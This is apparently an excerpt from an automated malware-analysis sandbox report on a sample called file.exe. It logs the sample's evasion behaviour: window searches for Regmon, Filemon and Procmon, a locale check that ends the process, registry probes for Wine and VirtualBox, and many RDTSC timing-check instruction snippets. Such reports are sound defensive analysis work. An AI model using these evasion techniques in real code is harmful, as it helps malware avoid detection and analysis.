Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00579860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58034

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936646 second address: 93664A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93664A second address: 936654 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3F40811B56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 936654 second address: 93665F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 928099 second address: 92809E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92809E second address: 9280AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3F40513666h 0x0000000a jc 00007F3F40513666h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93583C second address: 935857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935DEA second address: 935DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3F40513666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935DF4 second address: 935E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3F40811B56h 0x0000000a jmp 00007F3F40811B5Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9387C0 second address: 9387C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9388CE second address: 9388D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9388D5 second address: 9388F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F4051366Bh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 jo 00007F3F40513668h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9388F7 second address: 938949 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3F40811B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F3F40811B5Fh 0x00000014 pop eax 0x00000015 add di, 6F73h 0x0000001a movzx esi, dx 0x0000001d push 00000003h 0x0000001f mov edi, dword ptr [ebp+122D2CF4h] 0x00000025 push 00000000h 0x00000027 mov esi, edx 0x00000029 push 00000003h 0x0000002b jmp 00007F3F40811B62h 0x00000030 push B6718910h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 938949 second address: 93894F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9214BF second address: 9214C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9214C5 second address: 9214C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958046 second address: 958064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40811B68h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958064 second address: 958069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958069 second address: 95806F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95806F second address: 958080 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007F3F4051366Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958080 second address: 958089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958089 second address: 9580A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3F40513666h 0x0000000a pop edx 0x0000000b jg 00007F3F40513672h 0x00000011 je 00007F3F40513666h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9581D6 second address: 95820C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F3F40811B64h 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F3F40811B62h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95820C second address: 958210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9584A9 second address: 9584B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3F40811B56h 0x0000000a jl 00007F3F40811B56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9585EF second address: 9585FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3F40513666h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95871F second address: 958723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958723 second address: 95873C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F40513673h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95873C second address: 958741 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958741 second address: 958747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958747 second address: 95874D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95874D second address: 95876B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F3F40513666h 0x0000000d jmp 00007F3F40513671h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9588F2 second address: 9588F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9588F6 second address: 958902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958902 second address: 958908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958A68 second address: 958A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958EB6 second address: 958EE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3F40811B65h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959053 second address: 95905F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3F40513666h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95905F second address: 959070 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959070 second address: 95907C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3F40513666h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E12C second address: 94E130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E130 second address: 94E136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E136 second address: 94E13C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E13C second address: 94E140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94E140 second address: 94E158 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F3F40811B58h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9265EC second address: 9265F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9265F0 second address: 926604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926604 second address: 926609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9599DD second address: 9599FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F40811B69h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9599FD second address: 959A08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3F40513666h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D09E second address: 95D0B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c js 00007F3F40811B5Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C170 second address: 95C176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C176 second address: 95C17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C17A second address: 95C187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E533 second address: 95E56F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40811B67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3F40811B67h 0x00000010 push edi 0x00000011 js 00007F3F40811B56h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E56F second address: 95E574 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E574 second address: 95E57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E57D second address: 95E581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92EC22 second address: 92EC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40811B5Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92EC36 second address: 92EC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F3F40513666h 0x0000000f jnp 00007F3F40513666h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965B69 second address: 965B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 js 00007F3F40811B6Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965B7A second address: 965B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965B7E second address: 965B84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9651F0 second address: 9651F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9651F4 second address: 9651FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9651FA second address: 965205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965205 second address: 965227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40811B69h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965227 second address: 96524F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F4051366Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3F40513672h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96524F second address: 965253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96566F second address: 965673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965673 second address: 96567D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96567D second address: 9656A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513672h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9656A1 second address: 9656A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9656A5 second address: 9656B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3F4051366Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9656B9 second address: 9656CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F40811B61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9659D3 second address: 9659F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F3F40513666h 0x00000010 jmp 00007F3F40513672h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9659F5 second address: 9659F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96885E second address: 968864 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A757 second address: 96A75B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A852 second address: 96A891 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3F40513666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3F40513676h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F3F4051366Fh 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jc 00007F3F40513666h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A891 second address: 96A895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A895 second address: 96A89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A89B second address: 96A8C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F3F40811B5Ah 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F3F40811B6Ah 0x00000015 jmp 00007F3F40811B64h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A8C9 second address: 96A8CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A8CF second address: 96A8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A8D3 second address: 96A8D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A8D7 second address: 96A91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jg 00007F3F40811B5Eh 0x00000012 pop eax 0x00000013 jns 00007F3F40811B5Ch 0x00000019 and edi, dword ptr [ebp+122D2AD9h] 0x0000001f call 00007F3F40811B59h 0x00000024 pushad 0x00000025 push esi 0x00000026 push edx 0x00000027 pop edx 0x00000028 pop esi 0x00000029 push eax 0x0000002a push edx 0x0000002b jg 00007F3F40811B56h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96A91A second address: 96A93B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F40513675h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B623 second address: 96B630 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B8A8 second address: 96B8AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B8AD second address: 96B8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BA10 second address: 96BA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BA14 second address: 96BA1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C126 second address: 96C12C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CA6E second address: 96CA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DC22 second address: 96DC26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DC26 second address: 96DC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DC2C second address: 96DC31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E61A second address: 96E61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
